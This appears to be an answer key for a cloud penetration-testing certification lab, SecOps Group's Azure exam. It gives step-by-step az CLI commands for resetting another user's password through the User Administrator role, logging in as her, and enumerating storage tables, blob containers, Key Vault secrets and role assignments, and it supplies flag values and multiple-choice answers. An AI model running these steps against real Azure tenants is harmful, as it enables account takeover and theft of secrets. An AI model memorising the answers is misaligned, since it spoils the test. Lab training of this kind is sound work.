The SecOps Group CCPenX-Az - Certified Cloud Pentesting eXpert - Azure

The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.

Detailed Solution:

Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.

az ad user update \

--id lila.nguyen@azuresecops.onmicrosoft.com \

--password ' NewP@ssw0rd12345! ' \

--force-change-password-next-sign-in false

Now authenticate as the target user.

az login -u lila.nguyen@azuresecops.onmicrosoft.com -p ' NewP@ssw0rd12345! '

Confirm the login context:

az account show

Check what Azure resources this user can see:

az resource list --output table

Check role assignments:

az role assignment list --all --output table

If the user has storage data-plane permissions, enumerate storage accounts:

az storage account list --output table

If the storage account is known from the lab chain, use it directly:

az storage table list \

--account-name excaliburstore \

--auth-mode login \

--output table

Query each table:

az storage entity query \

--account-name excaliburstore \

--table-name < table-name > \

--auth-mode login \

--output json

A faster method:

for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do

echo " ===== $table ===== "

az storage entity query \

--account-name excaliburstore \

--table-name " $table " \

--auth-mode login \

--output table

done

Search the output for:

Flag

SAS

token

container

storage

secret

The flag discovered in this stage is the Q7 answer.

Final Answer:

Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.nguyen@azuresecops.onmicrosoft.com.

================

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Detailed Solution:

As the second compromised user, enumerate directory users:

az ad user list --output table

Use a cleaner query to show names, UPNs, and job titles:

az ad user list \

--query " [].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle} " \

--output table

You should identify a target user whose profile contains a flag in the jobTitle attribute.

The important target is:

lila.nguyen@azuresecops.onmicrosoft.com

Her jobTitle field contains:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Because the compromised user has User Administrator, you can reset this target user’s password and later authenticate as her.

Final Answer:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

================

public-backups

Detailed Solution:

Try listing containers using Azure CLI:

az storage container list \

--account-name prodreportstore01 \

--auth-mode login \

--output table

If anonymous access is allowed, test via blob endpoint:

az storage blob list \

--account-name prodreportstore01 \

--container-name public-backups \

--auth-mode key \

--output table

In a lab, you can also test the public URL pattern:

https://prodreportstore01.blob.core.windows.net/public-backups/

Expected exposed container:

public-backups

Final answer:

public-backups

================

Flag{managed_identity_can_read_keyvault_secrets}

Detailed Solution:

List Key Vaults:

az keyvault list --output table

List secrets:

az keyvault secret list \

--vault-name kv-finance-prod \

--output table

Expected output:

Name Enabled

---------------- --------

db-password True

api-token True

internal-flag True

Retrieve the flag secret:

az keyvault secret show \

--vault-name kv-finance-prod \

--name internal-flag \

--query value \

--output tsv

Expected value:

Flag{managed_identity_can_read_keyvault_secrets}

Azure Key Vault can use Azure RBAC for secrets, keys, and certificates, including data-plane secret access.

================

Detailed Solution:

Resolve the service principal object ID:

az ad sp show \

--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

--query id \

--output tsv

Then list role assignments:

SP_OBJECT_ID=$(az ad sp show \

--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

--query id \

--output tsv)

az role assignment list \

--assignee " $SP_OBJECT_ID " \

--all \

--output table

Expected output:

Principal Role Scope

------------------------------------ ----------- ----------------------------------------

< sp-object-id > Contributor /subscriptions/5d8e44ac-...

Correct answer:

B. Contributor

================

Use az login --service-principal

Detailed Solution:

Command:

az login --service-principal \

-u c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

-p ' < client-secret > ' \

--tenant 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Verify:

az account show --output json

Expected important field:

{

" user " : {

" name " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,

" type " : " servicePrincipal "

}

}

This confirms you are authenticated as the App Registration/service principal.

================

Detailed Solution:

First identify the managed identity attached to the Web App.

az webapp identity show \

--name RnD-Tools \

--resource-group Excalibur-Resources \

--output json

You should see a user-assigned managed identity similar to:

{

" userAssignedIdentities " : {

" /subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.ManagedIdentity/userAssignedIdentities/WebAppTokenIdentity " : {

" clientId " : " cf3664d4-5cec-4feb-b0ef-88b7958809df " ,

" principalId " : " efe89e83-010f-42f6-9576-30531fa47af7 "

}

}

}

Now query the role assignments for the managed identity’s principal ID:

az role assignment list \

--assignee efe89e83-010f-42f6-9576-30531fa47af7 \

--all \

--output table

The returned custom role is:

AppService-Auditor

That makes option D correct.

Final Answer:

D. AppService-Auditor

================

Detailed Solution:

In an Entra ID abuse path, a privileged user such as User Administrator may reset another user’s password. In logs, this appears as a user update operation involving the password profile.

Check audit logs in the portal:

Microsoft Entra ID → Monitoring → Audit logs

Or query via Microsoft Graph/Azure tooling depending on permissions.

The activity to look for is generally:

Update user

Modified property: passwordProfile

The other options represent different activities:

Microsoft.Authorization/roleAssignments/write = RBAC role assignment change

Microsoft.Storage/storageAccounts/listKeys/action = storage account key retrieval

Microsoft.KeyVault/vaults/secrets/read = Key Vault secret read

Correct answer:

B. Update user / password profile modification